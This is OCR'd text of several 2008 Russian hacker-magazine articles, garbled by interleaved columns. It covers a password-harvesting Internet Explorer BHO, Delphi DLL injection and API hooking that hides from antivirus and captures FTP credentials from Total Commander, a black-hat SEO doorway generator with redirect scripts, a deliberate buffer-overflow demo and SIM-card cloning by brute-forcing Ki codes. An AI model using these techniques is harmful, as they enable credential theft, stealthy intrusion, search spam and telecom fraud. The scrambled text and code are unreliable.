утилиту RegAsm.exe с ключом /codebase. Она зарегистрирует нашу foreach(mshtml.IHTMLInputElement el
сборку и — вуаля! — в вышеуказанном ключе реестра появляется строка с in document.getElementsByTagName("input"))
CLSID. Это и есть наш BHO! {
Маленькое лирическое отступление: если ты собираешься использовать if(el.type.ToLower() == "password")
BHO для своих грязных целей, имей в виду, все антивири и файры посто- //шлем пароль мне...
янно отслеживают запись в указанную ветку реестра. Поэтому регистра- }
ция BHO в системе — вещь крайне шумная и неудобная. }
Тырим пароли... Вот и все! Созданный нами BHO невелик в размере, но вполне работоспо-
Для более полного контроля за действиями пользователя необходимо будет собен. В принципе, в создании BHO нет ничего сложного, главное — иметь
реализовать обработку событий класса WebBrowser, например события представление о работе COM-компонентов.
onBeforNavigate2.
Код, который будет собирать пароли с форм веб-страниц, может выглядеть Заключение
так: Логично предположить, что BHO популярны как среди добрых и чест-
ных разработчиков, которым требуется расширение функциональности
public void OnBeforNavigate2 (ref objectTargetFrameName, обозревателя, так и среди недобрых дяденек хакеров, которые пытаются
ref object PostData, поставить под контроль твои действия в интернете. На диске ищи готовый
ref object Headers, код BHO, который, проявив смекалку, можешь без проблем расширить под
ref bool Cancel) свои замыслы. Enjoy! z
Игорь Антонов
/ vr-online.ru /
Функциональная
шпиономания
Краткий курс перехвата функций в Delphi
В одном из номеров нашего журнала в рубрике FAQ был задан вопрос: «Как
можно перехватить данные, отправляемые сетевым приложением?». В от-
вет Step порекомендовал использовать функцию WinSock hook из пакета се-
тевых утилит — IP Tools. Возможности WinSock hooker мне настолько понра-
вились, что я решил написать свой вариант подобной программы. И в этой
статье хочу поделиться с тобой опытом, полученным при разработке.
1. Внедрение образа своего процесса. Позволяет целиком внедрить начинают нервно курить и не замечать черных дел твоей программы.
свое приложение в чужое адресное пространство. Удобство такого • Внедрение произвольного exe-файла. Осуществляется при помощи
способа в том, что можно обойтись без всяких лишних DLL, повы- функции InjectExe().
сив скрытность. Даже если жертва воспользуется утилитами вроде
ProcessExplorer, то не увидит ничего необычного. function InjectExe(Process: dword;
2. Внедрение подготовленной DLL. Этот вариант можно назвать Data: pointer): boolean;
классическим. Для его реализации нужно создать DLL, в которой будет
организован один из способов перехвата, и приложение, которое будет Для работы функции требуется передать два параметра:
инжектировать ее в нужный процесс. Один из минусов я уже озвучил, 1. Дескриптор (handle) процесса, в который будем внедряться.
поэтому перейду сразу к плюсам. Главный плюс состоит в возможности 2. Адрес образа файла в текущем процессе.
прописывания DLL в реестре, после чего она будет автоматически загру- • Инъекция образа текущего процесса. Функция InjectThisExe()
жаться. В результате исключается необходимость в написании програм- будет полезна, когда не хочется или нет возможности юзать библиотеки
мы для внедрения DLL. DLL. Описание функции и параметров приводить не стану, так как они
У многих может сложиться впечатление, что перехват — дело объемное стандартные и ничем не отличаются от описания предыдущей.
и сложное. Действительно, реализовать метод внедрения и перехвата • Внедрение в процесс процедуры.
— задача не самая простая, но Delphi программистам сильно повезло. С
легкостью организовать перехват функций и внедриться в чужой процесс function InjectThread(Process: dword; Thread: pointer;
поможет модуль advHookApi, написанный гениальным программером Info: pointer; InfoLen: dword;
Ms-Rem. Модуль спроектирован качественно, все функции удобно Results: boolean): THandle;
описаны, код оформлен красиво. Единственное разочарование в том, что
сегодня уже нельзя выразить респект автору. Этот человек мертв. Очень У функции пять входных параметров: 1. Process — дескриптор процесса.
грустно, что гениальных людей так рано забирает смерть. 2. Thread — указатель на процедуру, которую будем внедрять. 3. Info — ад-
рес данных для процедуры. 4. InfoLen — размер передаваемых данных.
Хакерский модуль 5. Results — необходимость возврата результата (если true, то функция
Итак, давай посмотрим, какими возможностями может похвастаться дан- вернет переданные данные).
ный модуль. 2. Перехват Windows API. В модуле определено две функции для установки
1. Внедрение кода в удаленный процесс. Выше я рассказывал о нескольких перехвата:
вариантах внедрения своего кода в адресное пространство чужого процес-
са. В advHookAPI реализованы следующие методы: function HookCode(TargetProc, NewProc: pointer;
• Внедрение DLL в чужой процесс. Метод реализуется с помощью функции var OldProc: pointer): boolean;
InjectDll(), которая описана следующим образом:
Первая устанавливает перехват нужной функции. В качестве параметров
function InjectDll(Process: dword; ModulePath: PChar): просит: 1. TargetProc — адрес перехватываемой функции. 2. NewProc
boolean; — адрес функции, которая будет вызываться вместо перехватываемой. 3.
OldProc — переменная, в которой будет сохранен адрес моста к ориги-
В качестве параметров нужно передать дескриптор процесса, в который бу- нальной функции (пригодится, когда потребуется остановить перехват и
дем внедрять dll, и путь к самой библиотеке. В случае успешного внедрения вернуть все на место). Для перехвата функций, экспортируемых из DLL в
результат будет true. текущем процессе, предусмотрена отдельная функция:
• Скрытое внедрение DLL. Функция InjectDllEx() внедряет DLL и
производит шаманские действия над образом Dll в памяти. После таких function HookProc(lpModuleName, lpProcName: PChar;
настроек многие программы (антивирусы, персональные firewall) NewProc: pointer; var OldProc: pointer): boolean;
xàêåð 05 /113/ 08
105
>> coding
Входных параметров четыре: 1. Имя модуля (DLL). 2. Имя функции; будь вроде TerminateProceess() не помогают. Для устранения про-
внимателен, регистр в указании имени функции играет роль. 3. Указа- блемы принято использовать так называемые отладочные функции.
тель на функцию-замену. 4. Адрес к оригинальной функции. Сначала процесс переводится в отладочный режим, а потом уничто-
Перехватывать функцию без передышки не имеет смысла, поэтому жается. Таким образом можно завершить практически любой «вред-
рано или поздно нужно останавливать процесс перехвата. Для этого в ный» процесс. Автор AdvApiHook реализовал простую надстройку для
AdvApiHook реализована функция UnhookCode(), которая в качестве завершения процесса через отладочный режим:
единственного параметра принимает указатель на адрес моста к ориги-
нальной функции. function DebugKillProcess(ProcessId: dword):Boolean;
3. Полезные функции. Помимо необходимых функций для перехвата API
или внедрения кода, в модуле есть несколько функций, которые обяза- В качестве единственного параметра функции нужно передать pid процес-
тельно пригодятся системным программистам. са. В случае успешного завершения процесса функция вернет true.
• Отключение защиты системных файлов. В ОС Windows, базирующихся Довольно теории, пора переходить к практике. Сейчас я расскажу, как
на ядре NT, нельзя просто взять и изменить системные файлы — защита написать приложение для перехвата функции send(). Для начала создай
System File Protection трогать их не даст. Для решения этой задачи в в Delphi новый проект и нарисуй форму, хотя бы отдаленно похожую на мою.
модуле определена функция DisableSFC(). Передавать параметры ей Как закончишь творческую часть, вставляй наш DVD-диск, копируй с него
не требуется. В качестве результата возвращает булевское значение. модуль AdvApiHook и немедленно подключай к своему проекту.
• Завершение процесса через режим отладки. Наверняка, ты сталки- Первое, что необходимо сделать — научить программу получать спи-
вался с процессами, которые тяжело «убить». Стандартные функции сок всех запущенных процессов и их дескрипторов. Все данные будут
отображаться в компоненте ListView. Именно из этого списка мы все кажется сложным и запутанным, но на деле все просто. Создавай в
будем выбирать процесс-жертву. Для получения списка текущих про- Delphi новый проект типа DLL и потихоньку перекатывай в него бездуш-
цессов существует несколько способов. Рассмотрим наиболее простой ные строчки кода из врезки «Код DLL».
из них — использование модуля tlHelp32, входящего в стандартную Рассматривать приведенный код лучше всего с процедуры
поставку Delphi. Ради получения процессов я завел отдельную про- DLLEntryPoint. Именно в ней происходит реакция на события,
цедуру — GetAllProcess(). Ее код ты увидишь на врезке. В самом связанные с DLL (загрузка/выгрузка библиотеки). Во время загрузки
начале процедуры я вызываю функцию EnableDebugPrivilige(). библиотеки возникает событие DLL_PROCESS_ATTACH. Для нас это
Функция эта самописная и ее вид ты можешь посмотреть, открыв знак к установке перехвата. Перед тем, как установить его, я отправляю
исходники с диска. Скажу лишь, что она требуется для получения
отладочных привилегий. С ними появляется возможность получать
handle даже у системных процессов. Если функция вернула false, то
я просто сообщаю об этом в лог и продолжаю выполнение процедуры.
Получение списка процессов сводится к нескольким шагам. Первый Та самая процеду-
этап знаменуется использованием API функции CreateToolHelp32
SnapShot(). Она получает снимок объектов, определенных в первом
параметре. Я указал константу TH32CS_SNAPPROCESS, которая
ра GetAllProcess()
подразумевает получение снимка одних лишь процессов, так как для var
сегодняшнего примера этого вполне достаточно. Помимо процессов _SnapList : THandle;
ты можешь получить: _ProcEntry : TProcessEntry32;
• TH32CS_SNAPTHREAD — снимок потоков; begin
• TH32CS_SNAPMODULE32 — список загруженных модулей; if NOT (EnableDebugPrivilege()) Then
• TH32CS_SNAPALL — включает в снимок все процессы, модули, потоки. begin
Если функция CreateToolHelp32SnapShot() выполнилась успешно, reLog.SelAttributes.Color := clMaroon;
значит, нужно пробежаться по списку полученных объектов и вывести их в reLog.Lines.Add('Не удалось получить привилегии
ListView. Для «пробежки» я использую функции Process32First() и отладчика!');
Process32Next(). Параметры у обеих функций одинаковые: end;
1. Снимок объектов, который был получен в результате CreateToolH lvProcessList.Items.Clear;
elp32SnapShot(). 2. Структура типа TProcessEntry32, в кото- _ProcEntry.dwSize := SizeOf(TProcessEntry32);
рую будет записана информация о каждом найденном объекте. После _SnapList := CreateToolHelp32SnapShot(
выполнения Process32First() в переменную, которую мы указывали TH32CS_SNAPPROCESS, 0);
во втором параметре, будет помещена информация о первом процессе if (Process32First(_SnapList, _ProcEntry)) Then
из снимка. Для перехода к следующему процессу вызывается функция begin
Process32Next(). Repeat
Итак, список процессов у нас есть. Повесь вызов GetAllProcess() на with lvProcessList.Items.Add Do begin
событие OnCreate формы и запусти программу. Если ты не допустил в лис- Caption :=IntToStr(_ProcEntry.th32ProcessID);
тинге ошибок, то после запуска ListView должен заполниться списком SubItems.Add(ExtractFileName(
процессов. _ProcEntry.szExeFile));
end;
Делаем захват Until not (Process32Next(_SnapList,
Теперь, когда у нас есть список процессов, можно приступать к реали- _ProcEntry));
зации самой главной части — перехвату функций. Перехватывать их end;
удобнее всего из библиотеки DLL. Принцип такой: внедряем библио- CloseHandle(_SnapList);
теку в чужой процесс и методом сплайсинга делаем перехват. Сейчас end;
xàêåð 05 /113/ 08
107
>> coding
клиенту (основному приложению) информацию о текущей ситуации. send() будет вызывать xsend(). Целью статьи было показать, как можно
В своем примере я передавал целые строки, но на практике лучше перехватывать данные, передаваемые каким-либо сетевым приложением,
отправлять коды событий/ошибок, определить которые можно заранее. поэтому в подставной функции я просто передаю буфер с данными. Таким
Процесс передачи инфы из DLL в основную программу осуществляется образом, мы получаем то, что хотели, а приложение-жертва, ни о чем не
с помощью самописной функции SendData(). В теоретической части догадываясь, продолжает выполнять свою работу. Установив перехват,
статьи я описывал минусы перехвата методом сплайсинга. Как ты пом- нужно запустить остановленные ранее потоки. Для восстановления работы
нишь, они заключались в потоках. Решение проблемы также было озву- потоков я использую функции RunThreads(), которой также не требуются
чено — это временная остановка всех потоков. Для остановки потоков параметры.
чужого процесса в модуле AdvAPIHook есть функция StopThreads().
Параметров она не требует. Остановив потоки, можно устанавливать Тестируем
перехват. Для этого я использую функцию HookProc(). В качестве Можно считать, что простейший пример перехвата сетевых функций готов.
параметров передаю ей: Точнее, реализован процесс перехвата одной лишь функции — send().
1. Имя библиотеки, в которой объявлена перехватываемая функция. Пос- Перехват остальных ты сможешь реализовать самостоятельно, тем более
кольку в примере меня интересовала лишь функция send(), то я указал что принцип будет полностью таким же. Перед тем, как мы начнем тести-
W32_32.dll (именно в этой библиотеке определены все функции второй ровать, откомпилируй библиотеку и вернись к нашему основному проекту.
версии WinSock API). Создай обработчик события OnClick() для кнопки, по нажатию которой
2. Название функции. В примере я указал «send». Это самая распростра- мы будем внедрять библиотеку, и перепиши в него код из врезки «Обработ-
ненная функция для отправки данных по сети, ее используют практически чик OnClick()». Я не буду расписывать этот код целиком, так как в нем нет
все приложения. Обрати внимание на регистр, используемый в написании ничего сложного. Все, что там происходит — получение handle процесса
имени функции. Имя функции полностью состоит из маленьких букв. Не по его pid и внедрение созданной нами библиотеки с помощью функции
обратишь на это внимание — попадешь на отладку таинственных ошибок InjectDll(), описание которой я уже приводил.
«Access Violаtion». В качестве теста я решил перехватить данные, которые отправляет всем
3. Указатель на функцию подставы. В качестве функции подставы в моей известный TotalCommander при соединении с FTP сервером. Внедрив
библиотеке определена функция xSend(). нашу хакерскую библиотеку в процесс totalcmd.exe и запустив в
4. Указатель на переменную, для сохранения моста к оригинальной функ- Total Commander’е процесс соединения с FTP сервером, я наблюдал,
ции. Я указываю здесь _pOldSend. как лог начал заполняться командами протокола FTP. Поскольку этот
После выполнения HookProc() в текущем процессе вместо функции протокол не является безопасным, то все важные данные, передавае-
мые серверу, были успешно перехвачены. Результат ты можешь увидеть
на рисунке.
OnClick() менее, сетевой набор WinSock API содержит и другие функции для отправки
данных, а значит, у тебя есть полигон для новых испытаний. Не ленись
ставить различные эксперименты, ведь только путем проб и ошибок можно
_h := OpenProcess(PROCESS_ALL_ACCESS, false, решить любую задачу. Если у тебя возникли вопросы или предложения, то
StrToInt(lvProcessList.Selected.Caption)); милости прошу, я всегда открыт для общения. Ах, да, чуть не забыл. После
_dllPath := ExtractFilePath(ParamStr(0)) + выхода журнала в свет, на сайте www.vr-online.ru я выложу исходники, в
'test.dll'; которых будут реализованы примеры перехвата других API функций. Обяза-
InjectDll(_h, pchar(_dllPath)); тельно их скачай! z
Николай Байбородин
/ [email protected] /
Осторожно,
двери
открываются
Собираем недешевый дорген на C#
Введение для чайников что гораздо выгоднее. Но выбиться в топ по высокочастотному запросу и,
Очень кратко о генерации дорвеев для тех, кто еще не в теме. Итак, дорвей тем более, удержаться там — задача не из тривиальных. Куда проще занять
(doorway) или просто дор. Это веб-страница, через которую можно попасть верхние позиции по низкочастотным запросам. Увы, по такому запросу и
на другие страницы того же или другого сайта. Если ты застал зарождение посетителей к нам придет гораздо меньше. Следовательно, на продаже
рунета, то наверняка помнишь, что большинство веб-сайтов открывались трафика мы срубим меньше капусты.
со страницы, не содержащей ничего, кроме заголовка, фуфлыжной кар- Выход? Окучивать как можно больше низкочастотных запросов, создавая
тинки и иногда ссылок на различные версии сайта под разные кодировки. под каждый из них свой дор и выводя его в топ SERPa. Чем больше доров,
В те времена поддержка нескольких кодировок в рамках одного браузера тем больше лавэ — зависимость прямая, как трамвайная шпала. Есть,
была большой проблемой, не говоря уже об автоматическом определении правда, один вопрос, который может не давать спокойно спать будущему
кодировки. Эта страница и есть doorway. КПД был ниже уровня плинтуса. сетевому олигарху. «А что, если пользователь, зайдя на doorway, сбежит
Для чего она тогда? А ни для чего :). Просто, так было модно, тенденции веб- оттуда, не перейдя ни по одной ссылке?». Правильный вопрос, потому что
дизайна, знаете ли. юзверь сейчас пошел тертый, пуганый и куда попало, его не заманишь. Да
Каким боком здесь участвует поисковая оптимизация? Подогнать под осо- и не надо. Потому что у нас есть такое чудо, как автоматический редирект
бенности конкретного поискового движка только одну страницу и вывести (исполненный чаще всего в виде сценария на языке JavaScript), перекиды-
ее в топ гораздо проще, чем выводить весь ресурс. А заполучив страницу в вающий пользователя к клиенту, проплатившему трафик еще до того, как
топах по определенным запросам, можно направлять с нее пользователей браузер успеет показать содержимое дора.
на другие страницы ресурса. Продолжим фантазировать. Выведя в топ та- Вот такая незамысловатая технология. Однако тут, как и в любом другом
кую страницу по очень популярному среди юзверей запросу, можно поиметь деле, не обойтись без нюансов. Их мы и обсудим.
неслабый трафик. И опять-таки, переправить по ссылкам на другие страни-
цы своего ресурса. Или не переправить, а заработать, разместив в дорвее Achtung! Грабли!
ссылки на проплаченные ресурсы. Так мы постепенно превращаемся из веб Первое, что необходимо знать начинающему заводчику доров — эта техно-
дизайнера-бессребреника в матерого продавца поискового трафика. логия всеми поисковыми системами относится к так называемой «черной
Продавать трафик можно либо самостоятельно, либо через посредников, оптимизации». То есть к методам, которые расцениваются как нарушение
xàêåð 05 /113/ 08
111
>> coding
и более слов, в названии файла эти слова лучше разделять с помощью Смысл написанного выше — вывести диалог открытия файла, коррект
дефиса, а не нижнего подчеркивания, как привыкли многие кодеры. но обработать возможные ситуации и передать управление функции
Причина проста: поисковики расценивают две лексемы, объединенные с makeKeyList().
помощью нижнего подчеркивания как одно слово (которое может оказаться
поисковику неизвестным), в то время как составное слово с использовани- private void makeKeyList() {
ем дефиса прекрасно распознается как два отдельных слова. String a = null;
Теперь о шаблоне. Это обычный шаблон HTML-документа, каких в сети до while (!input.EndOfStream) {
фига и больше. Можешь выбрать тот, что тебе нравится. Автору приходилось a = input.ReadLine();
сталкиваться с двумя подходами к организации HTML-шаблонов в доргене. if (a != null) checkedListBox1.Items.Add(a);
Первый — шаблоны, жестко прописанные в доргене. Выбор фиксирован }
и невелик. Второй — возможность использовать любые HTML-файлы в input.Close();
качестве шаблона (с предварительным добавлением туда специальной }
разметки). Разметка представляет собой набор известных доргену ключей,
по которым он в процессе разбора шаблона узнает, какой элемент нужно Другими словами, читаем файл до одурения (до EndOfStream) и подсовы-
вставить в этом месте. Например: ваем строчки компоненту checkedListBox.
Аналогичным образом обрабатываем ввод остальных параметров (подроб-
{TEXT} — основной текст ности смотри в исходниках на диске). После того, как в листбокс загружен
{SCRIPT} — JS скрипт редиректа список ключевых фраз, нужно реализовать механизм выбора отдельных
{MAIN_KEYWORD} — кейворд страницы ключевиков, для которых будут создаваться страницы:
{RAN_KEYWORD} — случайный кейворд
private void checkedListBox1_ItemCheck(object sender,
И так далее. Кстати, пример разметки взят с сайта www.klikforum.com, где ItemCheckEventArgs e){
ты можешь расширить свои знания по теории дороводства. String item =
Недостаток подхода в том, что мы привязываем логику работы доргена к checkedListBox1.SelectedItem.ToString();
конкретному шаблону, жестко прописывая, где и что должно находиться. Я if (e.NewValue == CheckState.Checked)addKey(item);
советую тебе поступить иначе: обозначить в шаблоне основные его секции, else remKey(item);
а что в какой секции размещать — пусть решает программа с помощью }
заложенных в нее алгоритмов. В простейшем шаблоне секций будет не private void addKey(String val) {
так много — заголовок, текст, навигация, подвал. В более сложном можно if (keyList == null) keyList = new ArrayList(1);
расширить список. keyList.Add(val);
Нюансы мы обсудили. Пора приниматься за работу. }
private void remKey(String val) {
Муки творчества keyList.Remove(val);}
Начнем с загрузки списка ключевых фраз. Для этого хорошо подойдет
элемент управления checkedListBox. От простого списка он отличается Думаю, все понятно — ключевики, выбранные для дальнейшего исполь-
возможностью выбора элементов с помощью чекбоксов. Заполняться спи- зования, храним в списке keyList. Реагируем на действия пользователя
сок будет при нажатии соответствующей кнопки. Обработчик, я бы сказал, через событие NewValue. Поскольку дикий юзверь непредсказуем и может
не прост, а тривиален: жать на чекбокс не только с целью выбрать ключевую фразу, но и отменить
свой выбор, предусмотрена реакция на оба действия — методы addKey()и
DialogResult result = fileChooser.ShowDialog(); remKey().
String fileName;
if (result == DialogResult.Cancel)return;
fileName = fileChooser.FileName;
if (fileName == "" || fileName == null) Много вопросов вызывает перелинковка страниц дорвея и создание
MessageBox.Show("Ошибка выбора файла", "Error", сети из нескольких дорвеев. На этот счет не существует однозначного
MessageBoxButtons.OK, MessageBoxIcon.Error); мнения. Используют как простенькие элементарные схемы, так и
else { сложные, основанные на математическом аппарате, использующие
input = new StreamReader(fileName); динамическую или кольцевую перелинковку. Первое время можно
makeKeyList(); отталкиваться от идеи оформления связей в виде навигационного
} блока.
При выборе плотности ключевых слов на странице важно соблюдать Одна из серьезных проблем — контент для наполнения дора. Самый
золотую середину. Заниженная плотность сделает ключевик неви- простой способ: позаимствовать с родственного ресурса. Он же и
димым — понизит релевантность страницы по запросам, в которые самый неэффективный. Дело в том, что поисковики давно научились
он входит. Слишком высокая плотность — прямой риск попасть распознавать и фильтровать дубли, склеивая результаты выдачи. Вы-
под категорию «поисковый спам» и заработать бан от поисковика. ход — использовать системы автоматического перевода (прогнать
Устанавливай наиболее эффективную плотность опытным путем, текст «туда — обратно»). Или придать уникальности с помощью
ориентируясь на показатель 6-8%. генератора текста на основе цепей Маркова.
xàêåð 05 /113/ 08
113
>> coding
Крис Касперски
трюки
от крыса
Долгое время мы витали вокруг чистого
ANSI C, без реверансов в сторону нестан-
дартных расширений от различных про-
изводителей, которых развелось столько,
что игнорировать их невозможно. Сего-
дня мы поговорим об интимных взаимоот-
ношениях Си с платформой .NET и управ-
ляемым (managed) кодом.
01 управляемый код на Си
Официально платформа .NET «крышует» C#, F#, Visual Basic и неко-
торые другие языки, в перечень которых Си, увы, не входит. Однако послед-
02
управляемый код и переполняющиеся буфера
Продвигая управляемый код на рынок, Microsoft неустанно пере-
числяла его преимущества: а) более высокую производительность на чисто
ние версии компилятора Microsoft Visual C++ поддерживают возможность вычислительных задачах; б) решение проблемы переполняющихся буферов;
трансляции программ в управляемый байт-код (по «научному» называемый в) наличие автоматического сборщика мусора, предотвращающего утечки
MSCIL — Microsoft Common Intermediate Language — Общий Промежуточный памяти.
Язык от Microsoft, но это слишком длинно и заумно, так что мы ограничимся Что касается производительности, то первые версии .NET’а действительно
термином «байт-код»). обгоняли Си/Си++ программы в некоторых тестах за счет более компактной
Если сделать небольшой пируэт, то можно писать Си программы на плюсах, структуры байт-кода и динамической оптимизации при трансляции в память.
транслируя их в байт-код. Конечно, «чистого» Си мы все равно не получим, Но уже начиная с .NET 2, производительность байт-кода заметно упала и
но, по крайней мере, обретем возможность вызывать функции стандартной положение спасает только то, что байт-код способен без перекомпиляции
библиотеки libc, «химичить» с указателями и т. д. Естественно, в силу стро- исполняться на процессорах разных типов (x86, x86-64, IA64), используя их
гой типизации языка Си++ придется ругаться матом (нецензурным кастин- преимущества, чего не может чистый машинный код.
гом), впрочем, об этом мы уже говорили в #09h выпуске «трюков». А вот контроль за буферами и сборка мусора реально работают только в C#
Чтобы заставить приплюснутый компилятор генерировать байт-код, достаточно программах (да и то не без оговорок). «Управляемый» код, полученный путем
воткнуть в начало программы «using namespace System;» и добавить к ко- трансляции Си++ программы, наследует все худшие черты языка Си. Это мы
мандной строке ключ «/CLR», пример использования которого приведен ниже: сейчас и продемонстрируем на примере умышленного переполнения буфера:
hello.cpp — программа на Си++, подготовленная к трансляции в Программа, подготовленная к трансляции в управляемый код
управляемый код и вызывающая функции стандартной библиотеки и допускающая переполнение буфера
языка Си #include <stdio.h>
#include <stdio.h> #include <string.h>
// используем пространство имен System (из .NET) using namespace System;
using namespace System;
void main() { void main() {
printf("hello, nezumi!\n"); char buf0[0x6]; char buf1[0x6]; char buf2[0x6];
} printf("enter str0 :");gets(buf0);
printf("enter str1 :");gets(buf1);
Трансляция указанного кода в исполняемый файл из командной строки printf("enter str2 :")123;gets(buf2);
осуществляется следующим образом: printf("your str is :%s,%s,%s\n",buf0,buf1,buf2);
}
$cl.exe /CLR hello.cpp
Компилируем написанную программу в управляемый код с помощью ключа
Если все сделано правильно, на диске образуется файл hello.exe, гото- /CLR и смотрим: сможет ли она справиться с ошибкой переполнения или нет.
вый к непосредственному исполнению и победоносно выводящий «hello, Мы имеем три массива по 06h байт каждый, куда вводим строки длинной в
nezumi!» на экран. 09h байт (эта величина выбрана произвольно).
xàêåð 05 /113/ 08
115
>> phreaking
Так уж случилось, чел я подвижный. Самый продвинутый способ — использование Multi SIM. Например, очень
популярна Silver Card. Представляет из себя обычную SIM-ку (только
Мотаюсь из города в город по делам серебристого цвета и без опознавательных знаков). При вставке в телефон
появляется дополнительное меню, где можно выбрать на какой номер
или просто в гости, а поскольку ро- переключиться. Всего в Silver Card можно забить от десяти до шестнадцати
аккаунтов, в зависимости от версии прошивки. Также существует Green
уминг у нас по-прежнему грабитель- Card, A-SIM и прочие аналоги. Различие между ними лишь в количестве
ячеек, размере записной книжки и количестве запоминаемых SMS.
ский, то расходы на телефон выходят
Как это работает
неслабые. Иной раз забредаешь Чтобы понять, что представляет собой SIM-карта, нужно разобрать процесс
аутентификации в сети. Внутри крошечной симки находится довольно
в такую глушь, что ловят лишь счи- мощный микроконтроллер, как правило, PIC, со своей микрооперационной
системой, специфическим интерфейсом и набором функций. Последних
танные операторы. Вот и приходится там немного — чтение и запись в память, выдача сообщений на экран те-
лефона, манипуляции с определением номера и, главное, генерация кодов
регистрироваться у кучи разных для декодирования голосового потока и аутентификации в сети. SIM-карта
имеет своеобразную файловую систему, хранящую в себе кучу служебной
ОПСОСов и таскать с собой тьму SIM- информации, а также SMS сообщения и коды доступа в сеть — International
карт. Сначала я ныкал их под крыш- Mobile Subscriber Identity (IMSI) и Key for identification (Ki) коды.
IMSI и Ki хранятся в SIM-карте и у оператора (это как логин и пароль).
кой аккумулятора, но потом надоело. Упрощенно процедура регистрации в сети выглядит следующим образом.
Мобильный телефон передает базовой станции свой IMSI-код. В ответ
Стал искать другие пути. Как оказа- станция генерирует случайное число и отсылает его в телефон. Телефон
передает это число в SIM-карту, где процессор карты пропускает его и
лось, наработок немало. Ki-код через хэш алгоритм. Одновременно это случайное число и Ki,
связанный с данным IMSI, проводится через такой же алгоритм на базовой
станции. Затем SIM-карта отдает хэш телефону, а тот отсылает его на базо-
Сокровища гопорынков вую станцию, где происходит сверка с хэшем, полученным при внутреннем
Пошарив по местным гоповникам, торгующим сотовыми и всякими прогоне выданного случайного числа и Ki. Если числа совпадают, значит
прибамбасами к ним, я наткнулся на несколько решений. Первое, одно из — абонент тот самый и происходит регистрация в сети. Хэш сохраняется
самых примитивных и древних, это вынос SIM-карт посредством гибкого в памяти телефона и базовой станции в качестве ключа для кодирова-
шлейфа из телефона наружу, в накладной задник. Сам понимаешь, выгля- ния и декодирования голосового потока. Как видишь, Ki-код никогда не
дит это очень коряво — накладка портит весь дизайн. Есть и второй вари- покидает ни базовую станцию, ни SIM-карту и выдрать его оттуда напрямую
ант — более компактный, но суть та же. Берутся две стандартные SIM-карты практически невозможно. Точнее, способ есть, но связан он с такими
и из каждой вырезается острыми ножницами пятачок с контактами (под дикими затратами денег и времени (осуществляется посредством спили-
ним находится процессор, а остальная часть карты — безмозглый пластик). вания кристалла процессора на спецоборудовании и непосредственного
Затем пятачки вставляются в специальный переходник, в котором также считывания из памяти в обход CPU контроллера), что вряд ли с этим кто-то
смонтирована схема мультиплексор, переключающая карточки либо через будет заморачиваться.
меню, либо посредством включения-выключения телефона (при каждом Для клонирования SIM-карты нужно знать и IMSI, и Ki коды. Что же делать
on/off происходит выбор новой SIM-карты). Получившаяся конструкция за- в таком случае? Ответ прост — брутфорс. Хэш алгоритм не идеален и в
совывается на место штатной SIM-ки. Метод хорош, но требует прямых рук, большинстве случаев удается вычислить Ki-код по ответам SIM-карты.
да и не в каждый телефон можно запихать подобную фиговину. Например, Проблема в том, что SIM-карта обладает ограниченным числом обращений
в мой Siemens SK65 она банально не влезет — слишком узкий и плоский к алгоритму генерации хэша. После их исчерпания симка блокируется на-
картодержатель. К тому же, максимальное число карт, которые можно туда мертво, и ты можешь смело смыть ее в унитаз, а лучше пойти с ней к опера-
запихать, равняется двум. тору и, прикинувшись шлангом, сказать, что вдруг сломалась. С вероятно-
xàêåð 05 /113/ 08
117
>> phreaking
Sim Reader в сборе. Разъем для карты выдран из
Нокии 3110
have для любого гика. Так что вопрос об изготовлении подобной штуковины
должен быть решен однозначно.
стью, близкой к 100%, тебе выдадут новую (на халяву или за минимальную Как? Где? Чем?
плату), а старую заблокируют. Но не все так страшно, карта позволяет 65536 Итак, ты решился сделать себе мультисим. С чего начать? Надыбать саму
обращений, а для подбора Ki этого, как правило, более чем достаточно. MultiSim карту. Можно поискать на радиорынках, можно — в онлайн мага-
Правда, существует одна тонкость, а именно — хэш алгоритмов на данный зинах (набери, в Яндексе «Silver Card» или «Multisim»). Я же свою купил в
момент используется два вида: COMP128v1 и COMP128v2. Первый легко каком-то полуподвальном шопе, торгующем подержанными мобилами. Я
поддается взлому, а вот второй пока забрутфорсить не удалось. Впро- просто подошел и спросил, не делают ли они мультисимки. Оказалось, де-
чем, если сильно захотелось поиметь в мультисимке карту на алгоритме лают. Вот у них и купил — вышло дороже, чем указано в инете, но дешевле,
СОМР128v2, то можно сделать финт ушами — вырезать из Silver Card пятак учитывая стоимость пересылки до Челябинска. Главное, чтобы мультисим-
с процессором и вставить ее в блок два в одном, на пару с проблемной. ка была с прошивкой SimEmu не ниже шестой версии, так как иначе можно
нарваться на пустую болванку и долго искать программатор. Этот вопрос
Зачем? нужно сразу уточнить у продавца. В среднем, адекватная цена за Multisim
Ну ладно, я путешественник, и эти штуковины мне реально пригодятся. А Card — 250-500 рублей, в зависимости от модели.
ты, например, пользуешься всю жизнь одним и тем же оператором. Есть ли Допустим, карточку ты достал. Остается распотрошить свои SIM’ки,
тогда необходимость в ухищрениях? выдрать из них заветные коды и забить их в MultiSIM. Можно, конечно,
Сколько раз мультисимка выручала меня, когда вдруг кончалось бабло на поручить это мутным дядькам с радиорынка или из других подозрительных
основном номере; когда не ловил оператор; когда в данной зоне наотрез конторок. За грабление одной SIM-карты они берут порядка ста рублей.
отказывался работать GPRS, а срочно требовался доступ в Инет. Да и Вроде недорого, однако информация для доступа к твоему мобильному
запустить залоченный девайс, привезенный из-за бугра, не вмешиваясь аккаунту попадет в третьи руки — большое западло!
в его прошивку, например, тот же iPhone или какой-нибудь редкий или Поэтому ломать будем сами. Тебе потребуется читалка SIM-карт и софтина
новомодный телефон, PCMCIA GSM Modem, выданный на халяву в аме- брутфорсер. В качестве софта я использую проверенную временем
риканском отделении T-mobile… Короче, я считаю, что MultiSIM это must SimScan, но она довольно медленная, поэтому лучше заюзать более
xàêåð 05 /113/ 08
119
>> phreaking
Genocide
/ [email protected] /
еще одна проблема — родственники. тысяч рублей за примочку к телевизору я был морально не готов. Поэтому,
побродив по рынку, откопал на одном из лотков OpenBox 300й серии. Стоил
Вот уж кто конкретно подсел на спут- он недорого, порядка трех тысяч рублей. Поначалу мне пытались впарить
легальный OpenBox, не имевший на заднице RS232 разъема, но, порыскав
ник, так это мама и бабушка. Стали еще немного, я нашел правильный аппарат с СОМ-портом. Там же я купил
две СОМ розетки и несколько метров пятижильного телефонного провода.
ходить вокруг моего компьютера
Собираем систему
и плотоядно на него поглядывать. Как собирать? Для начала нужно подключить коаксиальный кабель от
антенны к ресиверу. Делать это нужно при отключенном напряжении, иначе
